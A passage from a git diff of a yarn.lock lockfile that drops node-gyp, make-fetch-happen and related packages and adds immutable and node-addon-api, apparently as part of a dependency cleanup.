"^1.3.0" - path-is-absolute "^1.0.0" - global-modules@^0.2.3: version "0.2.3" resolved "https://registry.yarnpkg.com/global-modules/-/global-modules-0.2.3.tgz#ea5a3bed42c6d6ce995a4f8a1269b5dae223828d" @@ -11618,15 +11568,6 @@ globjoin@^0.1.4: resolved "https://registry.yarnpkg.com/globjoin/-/globjoin-0.1.4.tgz#2f4494ac8919e3767c5cbb691e9f463324285d43" integrity sha512-xYfnw62CKG8nLkZBfWbhWwDw02CHty86jfPcc2cr3ZfeuK9ysoVPPEUxf21bAD/rWAgk52SuBrLJlefNy8mvFg== -globule@^1.0.0: - version "1.3.4" - resolved "https://registry.yarnpkg.com/globule/-/globule-1.3.4.tgz#7c11c43056055a75a6e68294453c17f2796170fb" - integrity sha512-OPTIfhMBh7JbBYDpa5b+Q5ptmMWKwcNcFSR/0c6t8V4f3ZAVBEsKNY37QdVqmLRYSMhOUGYrY0QhSoEpzGr/Eg== - dependencies: - glob "~7.1.1" - lodash "^4.17.21" - minimatch "~3.0.2" - gopd@^1.0.1: version "1.0.1" resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.0.1.tgz#29ff76de69dac7489b7c0918a5788e56477c332c" @@ -11639,7 +11580,7 @@ gopd@^1.2.0: resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.2.0.tgz#89f56b8217bdbc8802bd299df6d7f1081d7e51a1" integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg== -graceful-fs@^4.1.11, graceful-fs@^4.1.15, graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.2.0, graceful-fs@^4.2.11, graceful-fs@^4.2.4, graceful-fs@^4.2.6, graceful-fs@^4.2.9: +graceful-fs@^4.1.11, graceful-fs@^4.1.15, graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.2.0, graceful-fs@^4.2.11, graceful-fs@^4.2.4, graceful-fs@^4.2.9: version "4.2.11" resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.11.tgz#4183e4e8bf08bb6e05bbb2f7d2e0c8f712ca40e3" integrity sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ== @@ -11668,11 +11609,6 @@ handlebars@^4.7.7: optionalDependencies: uglify-js "^3.1.4" -hard-rejection@^2.1.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/hard-rejection/-/hard-rejection-2.1.0.tgz#1c6eda5c1685c63942766d79bb40ae773cecd883" - integrity sha512-VIZB+ibDhx7ObhAe7OVtoEbuP4h/MuOTHJ+J8h/eBXotJYl0fBgR72xDFCKgIh22OJZIOVNxBMWuhAr10r8HdA== - hard-source-webpack-plugin@^0.13.1: version "0.13.1" resolved "https://registry.yarnpkg.com/hard-source-webpack-plugin/-/hard-source-webpack-plugin-0.13.1.tgz#a99071e25b232f1438a5bc3c99f10a3869e4428e" @@ -11989,13 +11925,6 @@ hosted-git-info@^2.1.4: resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.9.tgz#dffc0bf9a21c02209090f2aa69429e1414daf3f9" integrity sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw== -hosted-git-info@^4.0.1: - version "4.1.0" - resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-4.1.0.tgz#827b82867e9ff1c8d0c4d9d53880397d2c86d224" - integrity sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA== - dependencies: - lru-cache "^6.0.0" - html-encoding-sniffer@^4.0.0: version "4.0.0" resolved "https://registry.yarnpkg.com/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz#696df529a7cfd82446369dc5193e590a3735b448" @@ -12091,11 +12020,6 @@ htmlparser2@^6.1.0: domutils "^2.5.2" entities "^2.0.0" -http-cache-semantics@^4.1.0: - version "4.2.0" - resolved "https://registry.yarnpkg.com/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz#205f4db64f8562b76a4ff9235aa5279839a09dd5" - integrity sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ== - http-errors@2.0.0, http-errors@^2.0.0: version "2.0.0" resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-2.0.0.tgz#b7774a1486ef73cf7667ac9ae0858c012c57b9d3" @@ -12107,24 +12031,6 @@ http-errors@2.0.0, http-errors@^2.0.0: statuses "2.0.1" toidentifier "1.0.1" -http-proxy-agent@^4.0.1: - version "4.0.1" - resolved "https://registry.yarnpkg.com/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz#8a8c8ef7f5932ccf953c296ca8291b95aa74aa3a" - integrity sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg== - dependencies: - "@tootallnate/once" "1" - agent-base "6" - debug "4" - -http-proxy-agent@^5.0.0: - version "5.0.0" - resolved "https://registry.yarnpkg.com/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz#5129800203520d434f142bc78ff3c170800f2b43" - integrity sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w== - dependencies: - "@tootallnate/once" "2" - agent-base "6" - debug "4" - http-proxy-agent@^7.0.2: version "7.0.2" resolved "https://registry.yarnpkg.com/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz#9a8b1f246866c028509486585f62b8f2c18c270e" @@ -12138,14 +12044,6 @@ https-browserify@^1.0.0: resolved "https://registry.yarnpkg.com/https-browserify/-/https-browserify-1.0.0.tgz#ec06c10e0a34c0f2faf199f7fd7fc78fffd03c73" integrity sha512-J+FkSdyD+0mA0N+81tMotaRMfSL9SGi+xpD3T6YApKsc3bGSXJlfXri3VyFOeYkfLRQisDk1W+jIFFKBeUBbBg== -https-proxy-agent@^5.0.0: - version "5.0.1" - resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz#c59ef224a04fe8b754f3db0063a25ea30d0005d6" - integrity sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA== - dependencies: - agent-base "6" - debug "4" - https-proxy-agent@^7.0.6: version "7.0.6" resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz#da8dfeac7da130b05c2ba4b59c9b6cd66611a6b9" @@ -12159,13 +12057,6 @@ human-signals@^2.1.0: resolved "https://registry.yarnpkg.com/human-signals/-/human-signals-2.1.0.tgz#dc91fcba42e4d06e4abaed33b3e7a3c02f514ea0" integrity sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw== -humanize-ms@^1.2.1: - version "1.2.1" - resolved "https://registry.yarnpkg.com/humanize-ms/-/humanize-ms-1.2.1.tgz#c46e3159a293f6b896da29316d8b6fe8bb79bbed" - integrity sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ== - dependencies: - ms "^2.0.0" - hyperdyperid@^1.2.0: version "1.2.0" resolved "https://registry.yarnpkg.com/hyperdyperid/-/hyperdyperid-1.2.0.tgz#59668d323ada92228d2a869d3e474d5a33b69e6b" @@ -12183,7 +12074,7 @@ iconv-lite@0.4.24, iconv-lite@^0.4.24: dependencies: safer-buffer ">= 2.1.2 < 3" -iconv-lite@0.6.3, iconv-lite@^0.6.2: +iconv-lite@0.6.3: version "0.6.3" resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.6.3.tgz#a52f80bf38da1952eb5c681790719871a1a72501" integrity sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw== @@ -12242,6 +12133,11 @@ immediate@~3.0.5: resolved "https://registry.yarnpkg.com/immediate/-/immediate-3.0.6.tgz#9db1dbd0faf8de6fbe0f5dd5e56bb606280de69b" integrity sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ== +immutable@^5.0.2: + version "5.1.4" + resolved "https://registry.yarnpkg.com/immutable/-/immutable-5.1.4.tgz#e3f8c1fe7b567d56cf26698f31918c241dae8c1f" + integrity sha512-p6u1bG3YSnINT5RQmx/yRZBpenIl30kVxkTLDyHLIMk0gict704Q9n+thfDI7lTRm9vXdDYutVzXhzcThxTnXA== + import-fresh@^3.0.0, import-fresh@^3.1.0, import-fresh@^3.2.1, import-fresh@^3.3.0: version "3.3.0" resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.0.tgz#37162c25fcb9ebaa2e6e53d5b4d88ce17d9e0c2b" @@ -12350,14 +12246,6 @@ interpret@^2.2.0: resolved "https://registry.yarnpkg.com/interpret/-/interpret-2.2.0.tgz#1a78a0b5965c40a5416d007ad6f50ad27c417df9" integrity sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw== -ip-address@^9.0.5: - version "9.0.5" - resolved "https://registry.yarnpkg.com/ip-address/-/ip-address-9.0.5.tgz#117a960819b08780c3bd1f14ef3c1cc1d3f3ea5a" - integrity sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g== - dependencies: - jsbn "1.1.0" - sprintf-js "^1.1.3" - ip@^2.0.0: version "2.0.0" resolved "https://registry.yarnpkg.com/ip/-/ip-2.0.0.tgz#4cf4ab182fee2314c75ede1276f8c80b479936da" @@ -12493,13 +12381,6 @@ is-core-module@^2.11.0, is-core-module@^2.13.0, is-core-module@^2.13.1: dependencies: hasown "^2.0.0" -is-core-module@^2.5.0: - version "2.16.1" - resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.16.1.tgz#2a98801a849f43e2add644fbb6bc6229b19a4ef4" - integrity sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w== - dependencies: - hasown "^2.0.2" - is-data-descriptor@^1.0.1: version "1.0.1" resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-1.0.1.tgz#2109164426166d32ea38c405c1e0945d9e6a4eeb" @@ -12631,11 +12512,6 @@ is-https@^4.0.0: resolved "https://registry.yarnpkg.com/is-https/-/is-https-4.0.0.tgz#9ee725a334fb517b988278d2674efc96e4f348ed" integrity sha512-FeMLiqf8E5g6SdiVJsPcNZX8k4h2fBs1wp5Bb6uaNxn58ufK1axBqQZdmAQsqh0t9BuwFObybrdVJh6MKyPlyg== -is-lambda@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/is-lambda/-/is-lambda-1.0.1.tgz#3d9877899e6a53efc0160504cde15f82e6f061d5" - integrity sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ== - is-map@^2.0.2: version "2.0.2" resolved "https://registry.yarnpkg.com/is-map/-/is-map-2.0.2.tgz#00922db8c9bf73e81b7a335827bc2a43f2b91127" @@ -12693,7 +12569,7 @@ is-path-inside@^3.0.2, is-path-inside@^3.0.3: resolved "https://registry.yarnpkg.com/is-path-inside/-/is-path-inside-3.0.3.tgz#d231362e53a07ff2b0e0ea7fed049161ffd16283" integrity sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ== -is-plain-obj@^1.0.0, is-plain-obj@^1.1, is-plain-obj@^1.1.0: +is-plain-obj@^1.0.0, is-plain-obj@^1.1: version "1.1.0" resolved "https://registry.yarnpkg.com/is-plain-obj/-/is-plain-obj-1.1.0.tgz#71a50c8429dfca773c92a390a4a03b39fcd51d3e" integrity sha512-yvkRyxmFKEOQ4pNXCmJG5AEQNlXJS5LaONXo5/cLdTZdWvsZ1ioJEonLGAosKlMWE8lwUy/bJzMjcw8az73+Fg== @@ -13935,7 +13811,7 @@ joi@^17.3.0: "@sideway/formula" "^3.0.1" "@sideway/pinpoint" "^2.0.0" -js-base64@^2.1.9, js-base64@^2.4.9: +js-base64@^2.1.9: version "2.6.4" resolved "https://registry.yarnpkg.com/js-base64/-/js-base64-2.6.4.tgz#f4e686c5de1ea1f867dbcad3d46d969428df98c4" integrity sha512-pZe//GGmwJndub7ZghVHz7vjb2LgC1m8B07Au3eYqeqv9emhESByMXxaEgkUkEqJe87oBbSniGYoQNIBklc7IQ== @@ -13990,11 +13866,6 @@ js-yaml@^4.1.0: dependencies: argparse "^2.0.1" -jsbn@1.1.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/jsbn/-/jsbn-1.1.0.tgz#b01307cb29b618a1ed26ec79e911f803c4da0040" - integrity sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A== - jscodeshift@^0.13.1: version "0.13.1" resolved "https://registry.yarnpkg.com/jscodeshift/-/jscodeshift-0.13.1.tgz#69bfe51e54c831296380585c6d9e733512aecdef" @@ -14178,7 +14049,7 @@ kind-of@^5.0.2: resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-5.1.0.tgz#729c91e2d857b7a419a1f9aa65685c4c33f5845d" integrity sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw== -kind-of@^6.0.2, kind-of@^6.0.3: +kind-of@^6.0.2: version "6.0.3" resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd" integrity sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw== @@ -14458,7 +14329,7 @@ lodash.uniq@4.5.0, lodash.uniq@^4.5.0: resolved "https://registry.yarnpkg.com/lodash.uniq/-/lodash.uniq-4.5.0.tgz#d0225373aeb652adc1bc82e4945339a842754773" integrity sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ== -lodash@>=4.17.21, lodash@^4.15.0, lodash@^4.17.11, lodash@^4.17.15, lodash@^4.17.19, lodash@^4.17.20, lodash@^4.17.21, lodash@^4.17.5: +lodash@>=4.17.21, lodash@^4.15.0, lodash@^4.17.15, lodash@^4.17.19, lodash@^4.17.20, lodash@^4.17.21, lodash@^4.17.5: version "4.17.21" resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c" integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg== @@ -14529,11 +14400,6 @@ lru-cache@^6.0.0: dependencies: yallist "^4.0.0" -lru-cache@^7.7.1: - version "7.18.3" - resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-7.18.3.tgz#f793896e0fd0e954a59dfdd82f0773808df6aa89" - integrity sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA== - lru-cache@^8.0.3: version "8.0.5" resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-8.0.5.tgz#983fe337f3e176667f8e567cfcce7cb064ea214e" @@ -14582,50 +14448,6 @@ make-dir@^4.0.0: dependencies: semver "^7.5.3" -make-fetch-happen@^10.0.4: - version "10.2.1" - resolved "https://registry.yarnpkg.com/make-fetch-happen/-/make-fetch-happen-10.2.1.tgz#f5e3835c5e9817b617f2770870d9492d28678164" - integrity sha512-NgOPbRiaQM10DYXvN3/hhGVI2M5MtITFryzBGxHM5p4wnFxsVCbxkrBrDsk+EZ5OB4jEOT7AjDxtdF+KVEFT7w== - dependencies: - agentkeepalive "^4.2.1" - cacache "^16.1.0" - http-cache-semantics "^4.1.0" - http-proxy-agent "^5.0.0" - https-proxy-agent "^5.0.0" - is-lambda "^1.0.1" - lru-cache "^7.7.1" - minipass "^3.1.6" - minipass-collect "^1.0.2" - minipass-fetch "^2.0.3" - minipass-flush "^1.0.5" - minipass-pipeline "^1.2.4" - negotiator "^0.6.3" - promise-retry "^2.0.1" - socks-proxy-agent "^7.0.0" - ssri "^9.0.0" - -make-fetch-happen@^9.1.0: - version "9.1.0" - resolved "https://registry.yarnpkg.com/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz#53085a09e7971433e6765f7971bf63f4e05cb968" - integrity sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg== - dependencies: - agentkeepalive "^4.1.3" - cacache "^15.2.0" - http-cache-semantics "^4.1.0" - http-proxy-agent "^4.0.1" - https-proxy-agent "^5.0.0" - is-lambda "^1.0.1" - lru-cache "^6.0.0" - minipass "^3.1.3" - minipass-collect "^1.0.2" - minipass-fetch "^1.3.2" - minipass-flush "^1.0.5" - minipass-pipeline "^1.2.4" - negotiator "^0.6.2" - promise-retry "^2.0.1" - socks-proxy-agent "^6.0.0" - ssri "^8.0.0" - makeerror@1.0.12: version "1.0.12" resolved "https://registry.yarnpkg.com/makeerror/-/makeerror-1.0.12.tgz#3e5dd2079a82e812e983cc6610c4a2cb0eaa801a" @@ -14643,11 +14465,6 @@ map-obj@^1.0.0, map-obj@^1.0.1: resolved "https://registry.yarnpkg.com/map-obj/-/map-obj-1.0.1.tgz#d933ceb9205d82bdcf4886f6742bdc2b4dea146d" integrity sha512-7N/q3lyZ+LVCp7PzuxrJr4KMbBE2hW7BT7YNia330OFxIf4d3r5zVpicP2650l7CPN6RM9zOJRl3NGpqSiw3Eg== -map-obj@^4.0.0: - version "4.3.0" - resolved "https://registry.yarnpkg.com/map-obj/-/map-obj-4.3.0.tgz#9304f906e93faae70880da102a9f1df0ea8bb05a" - integrity sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ== - map-or-similar@^1.5.0: version "1.5.0" resolved "https://registry.yarnpkg.com/map-or-similar/-/map-or-similar-1.5.0.tgz#6de2653174adfb5d9edc33c69d3e92a1b76faf08" @@ -14853,24 +14670,6 @@ meow@^3.1.0: redent "^1.0.0" trim-newlines "^1.0.0" -meow@^9.0.0: - version "9.0.0" - resolved "https://registry.yarnpkg.com/meow/-/meow-9.0.0.tgz#cd9510bc5cac9dee7d03c73ee1f9ad959f4ea364" - integrity sha512-+obSblOQmRhcyBt62furQqRAQpNyWXo8BuQ5bN7dG8wmwQ+vwHKp/rCFD4CrTP8CsDQD1sjoZ94K417XEUk8IQ== - dependencies: - "@types/minimist" "^1.2.0" - camelcase-keys "^6.2.2" - decamelize "^1.2.0" - decamelize-keys "^1.1.0" - hard-rejection "^2.1.0" - minimist-options "4.1.0" - normalize-package-data "^3.0.0" - read-pkg-up "^7.0.1" - redent "^3.0.0" - trim-newlines "^3.0.0" - type-fest "^0.18.0" - yargs-parser "^20.2.3" - merge-descriptors@1.0.1: version "1.0.1" resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61" @@ -15071,22 +14870,13 @@ minimatch@^9.0.4: dependencies: brace-expansion "^2.0.1" -minimatch@~3.0.2, minimatch@~3.0.4: +minimatch@~3.0.4: version "3.0.8" resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.8.tgz#5e6a59bd11e2ab0de1cfb843eb2d82e546c321c1" integrity sha512-6FsRAQsxQ61mw+qP1ZzbL9Bc78x2p5OqNgNpnoAFLTrX8n5Kxph0CsnhmKKNXTWjXqU5L0pGPR7hYk+XWZr60Q== dependencies: brace-expansion "^1.1.7" -minimist-options@4.1.0: - version "4.1.0" - resolved "https://registry.yarnpkg.com/minimist-options/-/minimist-options-4.1.0.tgz#c0655713c53a8a2ebd77ffa247d342c40f010619" - integrity sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A== - dependencies: - arrify "^1.0.1" - is-plain-obj "^1.1.0" - kind-of "^6.0.3" - minimist@^1.1.1, minimist@^1.1.3, minimist@^1.2.0, minimist@^1.2.5, minimist@^1.2.6, minimist@^1.2.8: version "1.2.8" resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.8.tgz#c1a464e7693302e082a075cee0c057741ac4772c" @@ -15099,28 +14889,6 @@ minipass-collect@^1.0.2: dependencies: minipass "^3.0.0" -minipass-fetch@^1.3.2: - version "1.4.1" - resolved "https://registry.yarnpkg.com/minipass-fetch/-/minipass-fetch-1.4.1.tgz#d75e0091daac1b0ffd7e9d41629faff7d0c1f1b6" - integrity sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw== - dependencies: - minipass "^3.1.0" - minipass-sized "^1.0.3" - minizlib "^2.0.0" - optionalDependencies: - encoding "^0.1.12" - -minipass-fetch@^2.0.3: - version "2.1.2" - resolved "https://registry.yarnpkg.com/minipass-fetch/-/minipass-fetch-2.1.2.tgz#95560b50c472d81a3bc76f20ede80eaed76d8add" - integrity sha512-LT49Zi2/WMROHYoqGgdlQIZh8mLPZmOrN2NdJjMXxYe4nkN6FUyuPuOAOedNJDrx0IRGg9+4guZewtp8hE6TxA== - dependencies: - minipass "^3.1.6" - minipass-sized "^1.0.3" - minizlib "^2.1.2" - optionalDependencies: - encoding "^0.1.13" - minipass-flush@^1.0.5: version "1.0.5" resolved "https://registry.yarnpkg.com/minipass-flush/-/minipass-flush-1.0.5.tgz#82e7135d7e89a50ffe64610a787953c4c4cbb373" @@ -15128,21 +14896,14 @@ minipass-flush@^1.0.5: dependencies: minipass "^3.0.0" -minipass-pipeline@^1.2.2, minipass-pipeline@^1.2.4: +minipass-pipeline@^1.2.2: version "1.2.4" resolved "https://registry.yarnpkg.com/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz#68472f79711c084657c067c5c6ad93cddea8214c" integrity sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A== dependencies: minipass "^3.0.0" -minipass-sized@^1.0.3: - version "1.0.3" - resolved "https://registry.yarnpkg.com/minipass-sized/-/minipass-sized-1.0.3.tgz#70ee5a7c5052070afacfbc22977ea79def353b70" - integrity sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g== - dependencies: - minipass "^3.0.0" - -minipass@^3.0.0, minipass@^3.1.0, minipass@^3.1.1, minipass@^3.1.3, minipass@^3.1.6: +minipass@^3.0.0, minipass@^3.1.1: version "3.3.6" resolved "https://registry.yarnpkg.com/minipass/-/minipass-3.3.6.tgz#7bba384db3a1520d18c9c0e5251c3444e95dd94a" integrity sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw== @@ -15159,7 +14920,7 @@ minipass@^5.0.0: resolved "https://registry.yarnpkg.com/minipass/-/minipass-7.1.2.tgz#93a9626ce5e5e66bd4db86849e7515e92340a707" integrity sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw== -minizlib@^2.0.0, minizlib@^2.1.1, minizlib@^2.1.2: +minizlib@^2.1.1: version "2.1.2" resolved "https://registry.yarnpkg.com/minizlib/-/minizlib-2.1.2.tgz#e90d3466ba209b932451508a11ce3d3632145931" integrity sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg== @@ -15275,7 +15036,7 @@ ms@2.1.2: resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009" integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w== -ms@2.1.3, ms@^2.0.0, ms@^2.1.1, ms@^2.1.3: +ms@2.1.3, ms@^2.1.1, ms@^2.1.3: version "2.1.3" resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2" integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA== @@ -15295,11 +15056,6 @@ nan@^2.12.1: resolved "https://registry.yarnpkg.com/nan/-/nan-2.18.0.tgz#26a6faae7ffbeb293a39660e88a76b82e30b7554" integrity sha512-W7tfG7vMOGtD30sHoZSSc/JVYiyDPEyQVso/Zz+/uQd0B0L46gtC+pHha5FFMRpil6fm/AoEcRWyOVi4+E/f8w== -nan@^2.17.0: - version "2.22.2" - resolved "https://registry.yarnpkg.com/nan/-/nan-2.22.2.tgz#6b504fd029fb8f38c0990e52ad5c26772fdacfbb" - integrity sha512-DANghxFkS1plDdRsX0X9pm0Z6SJNN6gBdtXfanwoZ8hooC5gosGFSBGRYHUVPz1asKA/kMRqDRdHrluZ61SpBQ== - nanoid@^3.1.23, nanoid@^3.3.1, nanoid@^3.3.7: version "3.3.7" resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.3.7.tgz#d0c301a691bc8d54efa0a2226ccf3fe2fd656bd8" @@ -15332,11 +15088,6 @@ negotiator@0.6.3: resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.3.tgz#58e323a72fedc0d6f9cd4d31fe49f51479590ccd" integrity sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg== -negotiator@^0.6.2, negotiator@^0.6.3: - version "0.6.4" - resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.4.tgz#777948e2452651c570b712dd01c23e262713fff7" - integrity sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w== - neo-async@^2.5.0, neo-async@^2.6.1, neo-async@^2.6.2: version "2.6.2" resolved "https://registry.yarnpkg.com/neo-async/-/neo-async-2.6.2.tgz#b4aafb93e3aeb2d8174ca53cf163ab7d7308305f" @@ -15355,6 +15106,11 @@ no-case@^3.0.4: lower-case "^2.0.2" tslib "^2.0.3" +node-addon-api@^7.0.0: + version "7.1.1" + resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-7.1.1.tgz#1aba6693b0f255258a049d621329329322aad558" + integrity sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ== + node-dir@^0.1.17: version "0.1.17" resolved "https://registry.yarnpkg.com/node-dir/-/node-dir-0.1.17.tgz#5f5665d93351335caabef8f1c554516cf5f1e4e5" @@ -15374,22 +15130,6 @@ node-fetch@^2, node-fetch@^2.0.0, node-fetch@^2.6.1, node-fetch@^2.6.7: dependencies: whatwg-url "^5.0.0" -node-gyp@^8.4.1: - version "8.4.1" - resolved "https://registry.yarnpkg.com/node-gyp/-/node-gyp-8.4.1.tgz#3d49308fc31f768180957d6b5746845fbd429937" - integrity sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w== - dependencies: - env-paths "^2.2.0" - glob "^7.1.4" - graceful-fs "^4.2.6" - make-fetch-happen "^9.1.0" - nopt "^5.0.0" - npmlog "^6.0.0" - rimraf "^3.0.2" - semver "^7.3.5" - tar "^6.1.2" - which "^2.0.2" - node-html-parser@^6.1.13: version "6.1.13" resolved 